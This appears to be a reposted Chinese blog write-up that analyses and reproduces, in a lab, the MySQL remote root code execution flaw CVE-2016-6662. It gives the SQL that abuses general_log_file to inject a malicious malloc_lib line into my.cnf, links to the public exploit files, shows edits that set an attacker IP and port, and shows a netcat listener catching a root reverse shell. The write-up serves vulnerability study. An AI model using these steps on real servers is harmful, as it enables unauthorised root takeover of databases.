MySQL遠程代碼執行/提取的分析與實踐

來源:互聯網
上載者:User

0x00 背景

2016年9月12日,國外安全研究人員Dawid Golunski發布資訊安全諮詢發現了MySQL的一個可被遠程代碼執行/許可權提升的漏洞(CVE-2016-6662)。筆者在研究了原報告後,做了如下分析和實踐。

0x01 分析

漏洞披露原址: http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

影響範圍 (漏洞作者9月16日的最新更新):

MySQL <= 5.7.14

MySQL <= 5.6.32

MySQL <= 5.5.51

在對原報告的研究後,整理總結如下。

漏洞產生的原因:

1. MySQL的預設安裝包裡內建了一個mysqld_safe的指令碼用來啟動mysql的服務進程,如:


2. 該進程能夠在啟動mysql server之前預先載入共用庫檔案,通過參數 –malloc-lib = LIB

/usr/local/mysql/bin/mysqld_safe :

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi
3. 共用庫檔案可被添加在一個mysql的設定檔my.cnf中, 比如mysql的data目錄,$DATADIR/my.cnf

/usr/local/mysql/bin/mysqld_safe
:

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
  DATADIR=/usr/local/mysql/data
fi
4. 一旦攻擊者可以注入惡意庫檔案在my.cnf檔案中,即可在mysql服務重啟時以root許可權執行預先載入的任意共用庫中的任意代碼

漏洞的利用條件:

具有FILE和SELECT許可權的mysql的使用者且能夠訪問日誌功能(通常情況下只有MYSQL的管理使用者具有)

漏洞的利用情境:

1. 在MYSQL已存在的具有弱許可權或者使用權限設定不安全的設定檔(mysql使用者可寫)裡注入惡意代碼

2. 在MYSQL的data目錄裡(mysql使用者預設可寫)建立一個新的設定檔my.cnf,並注入惡意代碼

漏洞的利用原理:

1. 使用mysql的日誌記錄功能建立/修改my.cnf檔案

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
2. 注入包涵惡意代碼的分享庫,並添加到my.cnf檔案的[mysqld]下,如:

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
3. 重啟mysql服務,即可實現以root許可權執行惡意代碼

0x02 實踐

實驗環境:

Ubuntu 16.04.1 LTS
MySQL 5.5.50
實踐步驟:

1. MySQL安裝與配置: http://howtolamp.com/lamp/mysql/5.6/installing/

安裝後目錄如下:

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files
2. 下載exp檔案:

0ldSQL_MySQL_RCE_exploit.py: http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
mysql_hookandroot_lib.c: http://legalhackers.com/exploits/mysql_hookandroot_lib.c
3. 尋找mysql的data目錄,如:/usr/local/mysql/data

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf
4. 修改exp檔案

0ldSQL_MySQL_RCE_exploit.py:修改161行如下 (注意:此處的作用是將mysql的觸發器檔案寫入到測試資料庫所在的同一目錄下)

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB
mysql_hookandroot_lib.c:修改63-65行如下 (此處筆者使用的my.cnf的目錄是/usr/local/mysql/data/my.cnf)

#define ATTACKERS_IP "<你的監聽服務的IP>"
#define SHELL_PORT <你的監聽連接埠>
#define INJECTED_CONF "<你的mysql的data目錄下的my.cnf檔案>"
5. 在監聽伺服器上啟動監聽

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
6. 建立測試資料庫使用者和資料庫

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
7. 執行0ldSQL_MySQL_RCE_exploit.py指令碼如下:

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'

[+] The account in use has the following grants/perms:

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...
8. 重啟mysql服務來觸發利用

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart
9. 監聽伺服器成功收到反彈shell

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)
0x03 總結

筆者在該漏洞的測試和實踐過程中,有如下的體會和心得:

1. 漏洞作者巧妙地利用了觸發器,使一個普通的使用者利用了root許可權執行了所需的sql語句,從而成功地繞過了mysql對於general_log_file檔案操作的許可權限制

2. 漏洞作者提供了一個不錯的反彈shell的技巧,即在mysqld啟動之前利用preload載入my.cnf檔案順序早於mysqld成功地修改了my.cnf檔案中的冗餘資訊,保證了mysql服務的正常啟動

3. 關於mysql的data目錄下的my.cnf檔案的許可權問題,其實完全不需要chown mysql:mysql my.cnf, 只要同時具備以下2個條件即可:

資料庫使用者mysql對my.cnf具有可寫入權限
my.cnf不是world-write許可權

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.